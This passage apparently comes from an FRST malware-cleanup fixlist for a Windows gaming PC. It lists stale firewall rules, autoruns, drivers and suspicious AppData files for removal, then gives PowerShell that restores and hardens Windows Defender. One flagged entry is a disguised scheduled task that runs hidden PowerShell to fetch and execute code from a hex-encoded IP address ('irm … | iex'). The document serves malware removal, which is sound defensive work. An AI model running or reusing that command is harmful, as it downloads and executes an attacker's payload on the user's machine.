(x86)\NCSOFT\Purple\2.25.1119.6\cefsharp.browsersubprocess.exe => No File FirewallRules: [{1EBAEAFF-F802-4C27-850E-ACCE5498FB40}] => (Allow) C:\Program Files (x86)\NCSOFT\Purple\purple-box\PurpleBox.exe => No File FirewallRules: [{F0C3DB27-70E3-45B8-8C12-52491B1804C7}] => (Allow) E:\SteamLibrary\steamapps\common\Solo Leveling Demo\Solo_Leveling_ARISE_OVERDRIVE_Launcher.exe => No File FirewallRules: [{4B28CCE3-CE70-446A-9A9C-F599A6A6295E}] => (Allow) E:\SteamLibrary\steamapps\common\Solo Leveling Demo\Solo_Leveling_ARISE_OVERDRIVE_Launcher.exe => No File FirewallRules: [TCP Query User{0490B43E-3E28-41B7-BDE3-80C8017EA2D9}E:\riot games\league of legends\leagueclientuxrender.exe] => (Allow) E:\riot games\league of legends\leagueclientuxrender.exe => No File FirewallRules: [UDP Query User{D0C56477-7E36-48C7-A2B5-37D924DCBF82}E:\riot games\league of legends\leagueclientuxrender.exe] => (Allow) E:\riot games\league of legends\leagueclientuxrender.exe => No File FirewallRules: [{9AD9C0F1-2D1A-4C5E-BF97-CDC354AC5BFD}] => (Allow) E:\SteamLibrary\steamapps\common\Warframe\Tools\Launcher.exe => No File FirewallRules: [{B5E57C38-57FF-4768-8ACB-26FB91210692}] => (Allow) E:\SteamLibrary\steamapps\common\Warframe\Warframe.x64.exe => No File FirewallRules: [{56DF3853-513C-4AFA-9597-1C71C777F89F}] => (Allow) E:\SteamLibrary\steamapps\common\Warframe\Warframe.x64.exe => No File FirewallRules: [{13981CFC-2473-4F8A-A042-45805BDE9691}] => (Allow) E:\SteamLibrary\steamapps\common\Warframe\Tools\RemoteCrashSender.exe => No File FirewallRules: [{183CAC18-A828-4570-8F22-C36BA526ADEA}] => (Allow) E:\SteamLibrary\steamapps\common\Warframe\Tools\Launcher.exe => No File FirewallRules: [{21B696B4-9FC3-4D12-A9A2-BA77F54EDD85}] => (Allow) E:\SteamLibrary\steamapps\common\Warframe\Warframe.x64.exe => No File FirewallRules: [{5DA088AF-5A3C-4AFC-87A2-0E22D9170AA8}] => (Allow) E:\SteamLibrary\steamapps\common\Warframe\Warframe.x64.exe => No File FirewallRules: [{E87D96A3-F5D9-4985-9C04-D556BE264133}] => (Allow) E:\SteamLibrary\steamapps\common\Warframe\Tools\RemoteCrashSender.exe => No File FirewallRules: [{7BF09FC7-7533-487F-80D3-92313E5ACEE8}] => (Allow) E:\SteamLibrary\steamapps\common\Total War WARHAMMER III\launcher\launcher.exe => No File FirewallRules: [{12411F1C-726D-4E20-BEDE-64922298A88F}] => (Allow) E:\SteamLibrary\steamapps\common\Total War WARHAMMER III\launcher\launcher.exe => No File FirewallRules: [{8100560E-6853-4106-9BB4-F1C3ABB46C9F}] => (Allow) E:\SteamLibrary\steamapps\common\Total War WARHAMMER III\twmm\twmm.exe => No File FirewallRules: [{593D8BC1-7EC3-4053-9394-AC7D6FD9E013}] => (Allow) E:\SteamLibrary\steamapps\common\Total War WARHAMMER III\twmm\twmm.exe => No File FirewallRules: [{35C289D0-B8E8-454E-926A-C55AE2796E6C}] => (Allow) E:\SteamLibrary\steamapps\common\Trails in the Sky 1st Chapter Demo\sora_1st.exe => No File FirewallRules: [{9A4A029A-9D8F-40F8-8F13-3CBFE3014391}] => (Allow) E:\SteamLibrary\steamapps\common\Trails in the Sky 1st Chapter Demo\sora_1st.exe => No File FirewallRules: [TCP Query User{6BDA758B-9558-473D-8B94-0FA22C1AA950}E:\silver palace\silverpalace\binaries\win64\silverpalaceclient-win64-shipping.exe] => (Allow) E:\silver palace\silverpalace\binaries\win64\silverpalaceclient-win64-shipping.exe => No File FirewallRules: [UDP Query User{8D52D9CB-ABFA-43A1-AB38-EDFB860D40D2}E:\silver palace\silverpalace\binaries\win64\silverpalaceclient-win64-shipping.exe] => (Allow) E:\silver palace\silverpalace\binaries\win64\silverpalaceclient-win64-shipping.exe => No File FirewallRules: [{45E1E688-B059-4FB6-9ECF-21AECF3D3842}] => (Allow) E:\Neverness To Everness\NTEGlobal\NTEGlobalGame.exe => No File FirewallRules: [{5235ABC8-A93E-4E8A-9CA4-B38A88BC489F}] => (Allow) E:\Neverness To Everness\NTEGlobal\NTEGlobalGame.exe => No File FirewallRules: [{9679F293-B91F-4C35-8EEF-916D1F5E4611}] => (Allow) E:\Neverness To Everness\NTEGlobal\NTEGlobalUpdate.exe => No File FirewallRules: [{FB1C4817-3298-4C1F-85E0-7FF482987DFF}] => (Allow) E:\Neverness To Everness\NTEGlobal\NTEGlobalUpdate.exe => No File FirewallRules: [{E05C04A5-C8B6-44A1-B663-551F33A948DC}] => (Allow) E:\Neverness To Everness\NTEGlobal\NTEGlobalBrowser.exe => No File FirewallRules: [{DBDD50DD-B635-4752-AB08-F579B03206B8}] => (Allow) E:\Neverness To Everness\NTEGlobal\NTEGlobalBrowser.exe => No File FirewallRules: [{E66527EC-F5DF-4459-A63B-188EEF8BA849}] => (Allow) E:\Neverness To Everness\NTEGlobal\NTEGlobalWebBooster.exe => No File FirewallRules: [{A78B58FD-1250-4CC5-B6E7-15299E54D31E}] => (Allow) E:\Neverness To Everness\NTEGlobal\NTEGlobalWebBooster.exe => No File FirewallRules: [{2C1F224B-3EE2-44E0-9732-FE779E1D2EEE}] => (Allow) E:\SteamLibrary\steamapps\common\SNOWBREAK\Game\Binaries\Win64\Game.exe => No File FirewallRules: [{49F1E6BE-14A0-4AC6-81CA-ED51BF890EDE}] => (Allow) E:\SteamLibrary\steamapps\common\SNOWBREAK\Game\Binaries\Win64\Game.exe => No File FirewallRules: [{AD678923-9396-43EB-9724-5B8F91B59B08}] => (Allow) E:\SteamLibrary\steamapps\common\Mount & Blade II Bannerlord\bin\Win64_Shipping_Client\TaleWorlds.MountAndBlade.Launcher.exe => No File FirewallRules: [{8F24D48E-EFDD-4EE4-96E7-1BFE763388B5}] => (Allow) E:\SteamLibrary\steamapps\common\Mount & Blade II Bannerlord\bin\Win64_Shipping_Client\TaleWorlds.MountAndBlade.Launcher.exe => No File FirewallRules: [{8ead0eb9-b760-4de5-bbc5-9112ecd1c2bc}] => (Allow) C:\Program Files\ldplayer9box\Ld9BoxHeadless.exe => No File FirewallRules: [{66156a0c-17d5-4c2f-a9f1-8fc32db425ac}] => (Allow) C:\Program Files\ldplayer9box\VBoxNetNAT.exe => No File FirewallRules: [{719232d8-aeb6-49ec-bc2a-d10699302492}] => (Allow) C:\LDPlayer\LDPlayer9\dnplayer.exe => No File FirewallRules: [{06DD74F1-0F77-419A-B35C-AD82C4535B86}] => (Allow) C:\Program Files (x86)\BlueStacks X\BlueStacksWeb.exe => No File FirewallRules: [{57A9209D-B29C-4171-82FB-BF4655EB5CEE}] => (Allow) C:\Program Files (x86)\BlueStacks X\Cloud Game.exe => No File FirewallRules: [{91ACC1E6-B2FC-412A-B081-97BEEAF30C34}] => (Allow) C:\Program Files\BlueStacks_nxt\HD-Player.exe => No File FirewallRules: [{488E4A86-8769-4340-BC56-7E0A1236F03C}] => (Allow) C:\Program Files\BlueStacks_nxt\BlueStacksAppplayerWeb.exe => No File FirewallRules: [{30BDAF36-15DE-437A-9C2F-1C581B8EBFB5}] => (Allow) E:\SteamLibrary\steamapps\common\Risk of Rain 2\Risk of Rain 2.exe => No File FirewallRules: [{2CBCD062-A0B5-4543-A916-91FC22E8374F}] => (Allow) E:\SteamLibrary\steamapps\common\Risk of Rain 2\Risk of Rain 2.exe => No File FirewallRules: [{C11F55AA-9C81-46A2-BA6E-A485D1F1D6BF}] => (Allow) C:\Users\ROG\AppData\Local\Temp\7z34E51C6C\MuMuDownloader.exe => No File FirewallRules: [{CC588545-8028-4D88-A5A2-865EB30B4D25}] => (Allow) E:\SteamLibrary\steamapps\common\Shape of Dreams\Shape of Dreams.exe => No File FirewallRules: [{C62CBC3E-0085-47CD-BB7D-6D415703D839}] => (Allow) E:\SteamLibrary\steamapps\common\Shape of Dreams\Shape of Dreams.exe => No File FirewallRules: [{BB323D60-315C-4CE6-B4FB-3C0CB2253E05}] => (Allow) E:\SteamLibrary\steamapps\common\BlazblueEntropyEffect\BlazblueEntropyEffect.exe => No File FirewallRules: [{4A26CA03-E3F4-4124-98EA-596D98E3B454}] => (Allow) E:\SteamLibrary\steamapps\common\BlazblueEntropyEffect\BlazblueEntropyEffect.exe => No File FirewallRules: [{AD3DA9ED-B404-4801-B046-6406F37C1C4C}] => (Allow) E:\Tom Clancy's Rainbow Six Siege\RainbowSix_BE.exe => No File FirewallRules: [{066CB0FD-7EEA-4295-845C-687752F07EA1}] => (Allow) E:\Tom Clancy's Rainbow Six Siege\RainbowSix_BE.exe => No File FirewallRules: [{F4B44E22-3F87-48E1-8215-80C8E42533AE}] => (Allow) E:\Tom Clancy's Rainbow Six Siege\RainbowSix.exe => No File FirewallRules: [{C778BCC8-BD24-4078-8C04-281B6B9BE4AB}] => (Allow) E:\Tom Clancy's Rainbow Six Siege\RainbowSix.exe => No File FirewallRules: [{D63BF10A-A589-426F-ABE2-32BCFBEA27BC}] => (Allow) E:\SteamLibrary\steamapps\common\Marathon\MarathonLauncher.exe => No File FirewallRules: [{26052715-AC44-4CA3-90B2-7E07EA5203ED}] => (Allow) E:\SteamLibrary\steamapps\common\Marathon\MarathonLauncher.exe => No File FirewallRules: [{A7D1E7D7-62B3-4A54-8314-C1BD52598467}] => (Allow) E:\SteamLibrary\steamapps\common\GranblueFantasy\GranblueFantasy.exe => No File FirewallRules: [{D3C81E95-26EC-4960-B377-BC33355E9A41}] => (Allow) E:\SteamLibrary\steamapps\common\GranblueFantasy\GranblueFantasy.exe => No File FirewallRules: [{73F8E411-BF8D-44C1-88D2-6956CFF84A16}] => (Allow) E:\SteamLibrary\steamapps\common\Strinova\Launcher\Strinova.exe => No File FirewallRules: [{0EFD5427-BC0E-4693-A73B-9ABEAF29D98C}] => (Allow) E:\SteamLibrary\steamapps\common\Strinova\Launcher\Strinova.exe => No File FirewallRules: [{E05BE1E5-A08B-49CC-99FF-444AD35E080F}] => (Allow) E:\SteamLibrary\steamapps\common\Slay the Spire 2\SlayTheSpire2.exe => No File FirewallRules: [{3A209FA4-7D3D-452F-9AC1-98012C34484B}] => (Allow) E:\SteamLibrary\steamapps\common\Slay the Spire 2\SlayTheSpire2.exe => No File FirewallRules: [{4A679CB6-1E6E-4F73-8307-153BA34140B2}] => (Allow) E:\SteamLibrary\steamapps\common\Crimson Desert\bin64\CrimsonDesert.exe => No File FirewallRules: [{B99F111E-4DBB-4157-B051-0758F1F739E2}] => (Allow) E:\SteamLibrary\steamapps\common\Crimson Desert\bin64\CrimsonDesert.exe => No File FirewallRules: [{4E2EDE88-AC53-403A-A043-45E3282CC412}] => (Allow) C:\Users\ROG\AppData\Local\Temp\ACFL\ACSetup\ACSetup.exe => No File FirewallRules: [{B54A09E4-082C-4D1A-8FB8-E2384471F513}] => (Allow) C:\Users\ROG\AppData\Local\Temp\ACFL\ACSetup\ACSetup.exe => No File FirewallRules: [{398F5170-1686-4DE5-8153-130D9E349352}] => (Allow) E:\SteamLibrary\steamapps\common\Morimens\Morimens.exe => No File FirewallRules: [{189F13CC-774F-419C-AC05-1ACE7C2E962D}] => (Allow) E:\SteamLibrary\steamapps\common\Morimens\Morimens.exe => No File FirewallRules: [{2B33DED3-4C83-4F4F-A4BA-2D496A41B427}] => (Allow) E:\SteamLibrary\steamapps\common\inZOI\inZOI.exe => No File FirewallRules: [{B41397E7-7937-4589-8DDE-DE98C7F8E894}] => (Allow) E:\SteamLibrary\steamapps\common\inZOI\inZOI.exe => No File FirewallRules: [TCP Query User{498EE17F-69C7-46C5-A93E-BABD4F793BCA}E:\steamlibrary\steamapps\common\reverse 1999\reverse1999.exe] => (Allow) E:\steamlibrary\steamapps\common\reverse 1999\reverse1999.exe => No File FirewallRules: [UDP Query User{E2A742AE-4FC2-4B9D-8F8B-C5B7AF816749}E:\steamlibrary\steamapps\common\reverse 1999\reverse1999.exe] => (Allow) E:\steamlibrary\steamapps\common\reverse 1999\reverse1999.exe => No File FirewallRules: [{E73A724B-A627-44C5-BAA2-5D9623235197}] => (Allow) E:\Neverness To Everness\Client\WindowsNoEditor\HT\Binaries\Win64\HTGame.exe => No File FirewallRules: [{A7272E22-782F-4F9B-951B-E7444D7D073F}] => (Allow) E:\Neverness To Everness\Client\WindowsNoEditor\HT\Binaries\Win64\HTGame.exe => No File FirewallRules: [{039C5785-FE78-4D4B-A297-B4D9067B8070}] => (Allow) C:\ProgramData\ASUS\ARMOURY CRATE One Package\ACFL20260506003459\ACSetup\ACSetup.exe => No File FirewallRules: [{E2CC33B9-68A2-4D99-A251-A0ABEE143DB3}] => (Allow) C:\ProgramData\ASUS\ARMOURY CRATE One Package\ACFL20260506003459\ACSetup\ACSetup.exe => No File FirewallRules: [{C199537A-9A5D-4FD0-9E2F-ECDF5FB271D0}] => (Allow) E:\SteamLibrary\steamapps\common\Dead Cells\deadcells.exe => No File FirewallRules: [{035CA2E8-45C3-4DEA-880E-3D3BDD144855}] => (Allow) E:\SteamLibrary\steamapps\common\Dead Cells\deadcells.exe => No File FirewallRules: [{C3E644F6-AF35-419E-A608-A5F371B50D80}] => (Allow) E:\SteamLibrary\steamapps\common\Dead Cells\deadcells_gl.exe => No File FirewallRules: [{06584C5B-1AA9-40AC-A4A8-214A731971D5}] => (Allow) E:\SteamLibrary\steamapps\common\Dead Cells\deadcells_gl.exe => No File FirewallRules: [TCP Query User{49582F59-029A-4F44-8480-28B250BBF1EB}E:\downloads\forza horizon 6\forzahorizon6.exe] => (Allow) E:\downloads\forza horizon 6\forzahorizon6.exe => No File FirewallRules: [UDP Query User{B76CBD0C-0503-44B1-94DC-417B0C0A5629}E:\downloads\forza horizon 6\forzahorizon6.exe] => (Allow) E:\downloads\forza horizon 6\forzahorizon6.exe => No File FirewallRules: [{EB5CC04D-EC18-4187-956F-AD9A2095B838}] => (Allow) C:\Program Files (x86)\Overwolf\0.296.3.3\OverwolfBrowser.exe => No File FirewallRules: [{DAC7F89B-9E58-473E-83C4-F904355B4ACD}] => (Allow) C:\Program Files (x86)\Overwolf\0.296.3.3\OverwolfBrowser.exe => No File FirewallRules: [{ECECA037-E91D-4F47-9AD9-0D4FE6A9B201}] => (Block) C:\Program Files (x86)\Overwolf\0.296.3.3\OverwolfBrowser.exe => No File FirewallRules: [{66217BCB-3AE4-464B-9329-4DA500376A40}] => (Block) C:\Program Files (x86)\Overwolf\0.296.3.3\OverwolfBrowser.exe => No File FirewallRules: [TCP Query User{122576BC-9763-4D3F-AC5B-CBFB473A0982}E:\subnautica 2\subnautica2\binaries\win64\subnautica2-win64-shipping.exe] => (Allow) E:\subnautica 2\subnautica2\binaries\win64\subnautica2-win64-shipping.exe => No File FirewallRules: [UDP Query User{C62508F0-9D65-4C81-8D60-CE537324EFBE}E:\subnautica 2\subnautica2\binaries\win64\subnautica2-win64-shipping.exe] => (Allow) E:\subnautica 2\subnautica2\binaries\win64\subnautica2-win64-shipping.exe => No File FirewallRules: [{8604DA76-FD05-4E23-BA8C-D78AA8EA0A67}] => (Allow) E:\SteamLibrary\steamapps\common\Subnautica2\Subnautica2.exe => No File FirewallRules: [{24EB77E4-61E0-4B2F-B68C-285378C9435C}] => (Allow) E:\SteamLibrary\steamapps\common\Subnautica2\Subnautica2.exe => No File FirewallRules: [TCP Query User{003A15A4-C7A9-4A97-844F-2A6CA644D76C}E:\steamlibrary\steamapps\common\subnautica2\subnautica2\binaries\win64\subnautica2-win64-shipping.exe] => (Allow) E:\steamlibrary\steamapps\common\subnautica2\subnautica2\binaries\win64\subnautica2-win64-shipping.exe => No File FirewallRules: [UDP Query User{65112D1C-44AD-47ED-BBA7-8A6ED3641C26}E:\steamlibrary\steamapps\common\subnautica2\subnautica2\binaries\win64\subnautica2-win64-shipping.exe] => (Allow) E:\steamlibrary\steamapps\common\subnautica2\subnautica2\binaries\win64\subnautica2-win64-shipping.exe => No File FirewallRules: [TCP Query User{FE0A529A-D200-43C3-88B3-3974C97ED62B}E:\diablo iv\diablo iv.exe] => (Allow) E:\diablo iv\diablo iv.exe => No File FirewallRules: [UDP Query User{BAC7BF75-27F0-443D-8CA5-DA30754043E2}E:\diablo iv\diablo iv.exe] => (Allow) E:\diablo iv\diablo iv.exe => No File FirewallRules: [{2A458540-DA8C-4D8E-A5E8-3D788749E255}] => (Allow) E:\SteamLibrary\steamapps\common\Terraria\Terraria.exe => No File FirewallRules: [{53705185-0795-43B8-A48C-5816CD9ECD8B}] => (Allow) E:\SteamLibrary\steamapps\common\Terraria\Terraria.exe => No File FirewallRules: [{2AC8B75B-22F7-4F11-80C7-40342F939F98}] => (Allow) E:\SteamLibrary\steamapps\common\Path of Exile 2\PathOfExileSteam.exe => No File FirewallRules: [{62D6819F-020B-43DF-9A4E-DBBC11C9DF73}] => (Allow) E:\SteamLibrary\steamapps\common\Path of Exile 2\PathOfExileSteam.exe => No File FirewallRules: [{BCDF3E31-9696-4A04-9FF5-09B7ACB1A6A4}] => (Allow) E:\SteamLibrary\steamapps\common\007 First Light\Retail\007FirstLight.exe => No File FirewallRules: [{DC9DB691-449D-4897-A3B8-CE6DE74743F2}] => (Allow) E:\SteamLibrary\steamapps\common\007 First Light\Retail\007FirstLight.exe => No File FirewallRules: [TCP Query User{16BDE40F-203E-4D0D-ABFF-8E96F30309D3}D:\steamlibrary\steamapps\common\subverse\subverse\binaries\win64\subverse-win64-shipping.exe] => (Allow) D:\steamlibrary\steamapps\common\subverse\subverse\binaries\win64\subverse-win64-shipping.exe => No File FirewallRules: [UDP Query User{60D67A7B-4C65-4F0A-997D-EDFDBF97EE0A}D:\steamlibrary\steamapps\common\subverse\subverse\binaries\win64\subverse-win64-shipping.exe] => (Allow) D:\steamlibrary\steamapps\common\subverse\subverse\binaries\win64\subverse-win64-shipping.exe => No File FirewallRules: [{B8EFD43D-B800-442B-8C05-BBBCBD766223}] => (Allow) E:\SteamLibrary\steamapps\common\Delta Force\Launcher\df_launcher.exe => No File FirewallRules: [{C918BA03-FD99-46E4-B853-F447EB1F847C}] => (Allow) E:\SteamLibrary\steamapps\common\Delta Force\Launcher\df_launcher.exe => No File FirewallRules: [{BC0EA64F-E789-4911-9F89-73B00DA395C2}] => (Allow) E:\SteamLibrary\steamapps\common\KingdomComeDeliverance2\Bin\Win64MasterMasterSteamPGO\KingdomCome.exe => No File FirewallRules: [{437693BA-AAA3-48DC-AD65-B7632C060111}] => (Allow) E:\SteamLibrary\steamapps\common\KingdomComeDeliverance2\Bin\Win64MasterMasterSteamPGO\KingdomCome.exe => No File FirewallRules: [{1F576C64-BED3-44E0-9D94-4C88E0BF6454}] => (Allow) E:\SteamLibrary\steamapps\common\HoloCure\HoloCure.exe => No File FirewallRules: [{3BA92A1B-40B0-40E4-B966-36E62786B06F}] => (Allow) E:\SteamLibrary\steamapps\common\HoloCure\HoloCure.exe => No File FirewallRules: [{07797412-CEE1-4A6F-8E96-972203741456}] => (Allow) E:\SteamLibrary\steamapps\common\Baldurs Gate 3\Launcher\LariLauncher.exe => No File FirewallRules: [{9BCC5C2B-37DE-4510-AC8A-95F7AB192B2E}] => (Allow) E:\SteamLibrary\steamapps\common\Baldurs Gate 3\Launcher\LariLauncher.exe => No File FirewallRules: [TCP Query User{ED26F807-F387-40EB-A32A-D572ECCB48BB}E:\steamlibrary\steamapps\common\baldurs gate 3\bin\bg3_dx11.exe] => (Allow) E:\steamlibrary\steamapps\common\baldurs gate 3\bin\bg3_dx11.exe => No File FirewallRules: [UDP Query User{09EA657F-7FDD-4A91-B25F-277F853F99C7}E:\steamlibrary\steamapps\common\baldurs gate 3\bin\bg3_dx11.exe] => (Allow) E:\steamlibrary\steamapps\common\baldurs gate 3\bin\bg3_dx11.exe => No File HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\Run: [LauncherStart.exe] => E:\Silver And Blood\LauncherStart.ex (No File) HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\Run: [RiotClient] => E:\Riot Games\Riot Client\RiotClientServices.exe --launch-background-mode (No File) HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {1f5759c4-52a1-11f1-8bda-c8a362d69daa} - "Z:\setup.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {24e65d59-2e6f-11f1-8bc1-c8a362d69daa} - "Z:\setup.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {24e65dfe-2e6f-11f1-8bc1-c8a362d69daa} - "Z:\setup.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {27ee55ea-442d-11f1-8bd1-c8a362d69daa} - "Z:\SETUP.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {27ee55f7-442d-11f1-8bd1-c8a362d69daa} - "Z:\SETUP.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {4f4dc656-2e7e-11f0-8b58-d0577e2999e1} - "F:\launcher.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {71c7f3bd-5fcc-11f1-8bdf-c8a362d69daa} - "Z:\startup.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {71c7f3e5-5fcc-11f1-8bdf-c8a362d69daa} - "F:\startup.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {71c7f45d-5fcc-11f1-8bdf-c8a362d69daa} - "F:\startup.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {71c7f47a-5fcc-11f1-8bdf-c8a362d69daa} - "F:\startup.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {71c7f4be-5fcc-11f1-8bdf-c8a362d69daa} - "F:\startup.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {71c7f4d5-5fcc-11f1-8bdf-c8a362d69daa} - "F:\startup.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {71c80851-5fcc-11f1-8bdf-c8a362d69daa} - "F:\launcher.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {71c808aa-5fcc-11f1-8bdf-c8a362d69daa} - "F:\bootmenu.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {71c808e1-5fcc-11f1-8bdf-c8a362d69daa} - "F:\bootmenu.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {71c808f3-5fcc-11f1-8bdf-c8a362d69daa} - "G:\setup.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {97245d86-030b-11f1-8bac-c8a362d69daa} - "Z:\launcher.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {975603eb-eb77-11f0-8ba1-c8a362d69daa} - "W:\setup.exe" HKU\S-1-5-21-3049341361-1053625663-2681015100-1001\...\MountPoints2: {b1b542cd-03d7-11f1-8bad-c8a362d69daa} - "Z:\launcher.exe" Task: {8F21F3DD-49E5-4211-8C1C-9CB88FFE2971} - System32\Tasks\ASUS\P508PowerAgent_sdk => C:\Program Files (x86)\ASUS\ArmouryDevice\dll\ShareFromArmouryIII\Mouse\ROG STRIX CARRY\P508PowerAgent.exe (No File) Task: {F3E6E7ED-A196-4E44-8803-55FAB3AD4E29} - System32\Tasks\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker => %systemroot%\system32\MusNotification.exe (No File) FF Plugin: @wanmei.com/npArcPlayNowPlugin -> [No File] S2 QMEmulatorService; "E:\Program Files\TxGameAssistant\AppMarket\QMEmulatorService.exe" (No File) S3 ACE-CORE101308; \??\C:\Program Files\AntiCheatExpert\ACE-CORE101308.sys (No File) S3 ACE-CORE201308; \??\C:\Program Files\AntiCheatExpert\ACE-CORE201308.sys (No File) S3 ACE-CORE301308; \??\C:\Program Files\AntiCheatExpert\ACE-CORE301308.sys (No File) S3 ace-game-0; \SystemRoot\System32\drivers\ace-game-0.sys (No File) S2 aow_drv; \??\E:\Program Files\TxGameAssistant\UI\3.91.5355.81\aow_drv_x64_ev.sys (No File) S3 BlackCat1; \??\C:\ProgramData\Nexon\NGS\BlackCat1.sys (No File) U3 HtAntiCheatDriver; \??\E:\Neverness To Everness\NTEGlobal\driver\gamedriverX64.sys (No File) S3 NEPKernel; \??\E:\SteamLibrary\steamapps\common\Farlight 84\WindowsClient\Solarland\Binaries\Win64\NEPKernel.sys (No File) 2026-05-19 17:30 - 2026-05-19 17:30 - 000014962 _____ C:\Users\ROG\AppData\LocalLow\07fc1e03a9842871f69462c2768d12abdd8aaf7a277b62438fe3bcbdcbff8d28 2026-05-19 17:30 - 2026-05-19 17:30 - 000000026 _____ C:\Users\ROG\AppData\LocalLow\33c19af634bd05f68ca3e11de70fa9347050eb01b3671331e4148f646481fe66 2026-05-16 00:30 - 2026-05-16 00:30 - 000000000 ____D C:\Users\ROG\AppData\Local\22bfc34d90b64054809542014fc9eb32 2026-05-12 17:49 - 2026-05-12 17:49 - 000000000 ____D C:\ProgramData\temp 2026-06-09 12:05 - 2026-03-31 14:16 - 000985894 _____ C:\Users\ROG\AppData\LocalLow\0814f2f18b9ba8c19cac63e861a0cf3dce3289284e09d72b7b6b2353c4e2d258 2026-06-04 16:17 - 2026-04-11 15:27 - 000147138 _____ C:\Users\ROG\AppData\LocalLow\503df5e1435fabb88ad8393163c552cd9022acc560de2eaf475c427524919d4f 2026-05-20 21:17 - 2026-04-02 13:08 - 000111810 _____ C:\Users\ROG\AppData\LocalLow\2705502906539c89afa5bfbc71ce61d07d3ae28621bb632f88d720aa5b17a4e8 2025-05-22 02:54 - 2025-05-22 02:54 - 000000024 _____ () C:\Users\ROG\AppData\Roaming\C23W6Vk43XTwu662.dat 2025-11-28 14:27 - 2025-11-28 14:27 - 000000048 ____R () C:\Users\ROG\AppData\Local\0119AC2FC90D95AC063B177717B7B3B6 2025-11-15 19:29 - 2025-11-15 19:29 - 000000048 ____R () C:\Users\ROG\AppData\Local\02428F0049D51BAA7DB4D5DA23E6A398 2025-05-22 02:55 - 2025-05-22 02:55 - 000000024 _____ () C:\Users\ROG\AppData\Local\111111680 2025-07-27 19:05 - 2025-07-27 19:05 - 000000048 ____R () C:\Users\ROG\AppData\Local\860C9B93DECD306E96614CFFC388B521 2025-05-17 10:50 - 2025-05-17 10:50 - 000005279 _____ () C:\Users\ROG\AppData\Local\91128626013 2025-05-15 09:23 - 2025-05-15 09:23 - 000005279 _____ () C:\Users\ROG\AppData\Local\93871964191 2025-09-05 19:50 - 2025-09-05 19:50 - 000000048 ____R () C:\Users\ROG\AppData\Local\94C0AABED64ACE71BFC002DF21BEE378 2025-11-12 14:17 - 2025-11-12 14:17 - 000000048 ____R () C:\Users\ROG\AppData\Local\B5F885C96757F4BB59BAFBBEB6F94534 2025-11-15 09:17 - 2025-11-15 09:17 - 000000048 ____R () C:\Users\ROG\AppData\Local\FFC13AA22C3C028B5667292492A1EEE5 Task: {8A06E2A9-8422-49D8-AF9D-0FBDEC4FDF26} - System32\Tasks\InteractiveServices\PresentationFramework-SystemDataTask.CL-NCLS-1-5-21-3049341361-1053625663-2681015100-1001 => C:\Windows\System32\conhost.exe [1011712 2026-05-13] (Microsoft Windows -> Microsoft Corporation) -> --headless powershell -NoProfile -ExecutionPolicy Bypass -Command "irm 0x87.0xB5.0x5B.0xF6/a | iex" <==== ATTENTION 2026-06-11 02:29 - 2026-06-11 02:29 - 000099328 _____ () [File not signed] \\?\C:\Users\ROG\AppData\Roaming\TeraBox\2cec0afa-eb78-422b-9f01-af397ea4e316.tmp.node 2026-06-11 02:29 - 2026-06-11 02:29 - 000114688 _____ () [File not signed] \\?\C:\Users\ROG\AppData\Roaming\TeraBox\2651fcdc-1f6c-4ba2-b97d-3891dca4c45f.tmp.node File: C:\GHelper.exe Comment: This snippet removes all Windows Defender exclusions DeleteKey: HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\TemporaryPaths StartPowershell: Try { $Paths=(Get-MpPreference).ExclusionPath $Extensions=(Get-MpPreference).ExclusionExtension $Processes=(Get-MpPreference).ExclusionProcess foreach ($Path in $Paths) { Remove-MpPreference -ExclusionPath $Path -force -ErrorAction Stop } foreach ($Extension in $Extensions) { Remove-MpPreference -ExclusionExtension $Extension -force -ErrorAction Stop } foreach ($Process in $Processes) { Remove-MpPreference -ExclusionProcess $Process -force -ErrorAction Stop } } Catch { Write-Error "Error occurred while removing Windows Defender exclusions: $_" } EndPowershell: StartPowerShell: # This snippet re-enables Windows Defender and applies optimized settings to ensure high protection against malware # Enable real-time protection Set-MpPreference -DisableRealtimeMonitoring $false # Enable behavioural protection Set-MpPreference -DisableBehaviorMonitoring $false # Enable PUP detection Set-MpPreference -PUAProtection Enabled # Enable cloud protection to level 4 - aggressively block unknowns and apply additional protection measures, alternatively use 2 for lower protection or 0 for default Set-MpPreference -CloudBlockLevel 4 # Send advanced information about malicious/unwanted software present on your device Set-MpPreference -MAPSReporting 2 # Send safe samples automatically to Microsoft Set-MpPreference -SubmitSamplesConsent 1 # Enables inspection of HTTP traffic to detect malicious websites Set-MpPreference -EnableNetworkProtection Enabled # Enables block at first seen Set-MpPreference -DisableBlockAtFirstSeen $false # Allows scanning of archive files, such as .zip and .cab files for malware/PUP Set-MpPreference -DisableArchiveScanning $false # Enables automatic scanning of USB & removal drives Set-MpPreference -DisableRemovableDriveScanning $false # Enables scanning of network files Set-MpPreference -DisableScanningNetworkFiles $false # Forces signature check before running a scan Set-MpPreference -CheckForSignaturesBeforeRunningScan $true # Extends cloud check timer from default 10 to 30 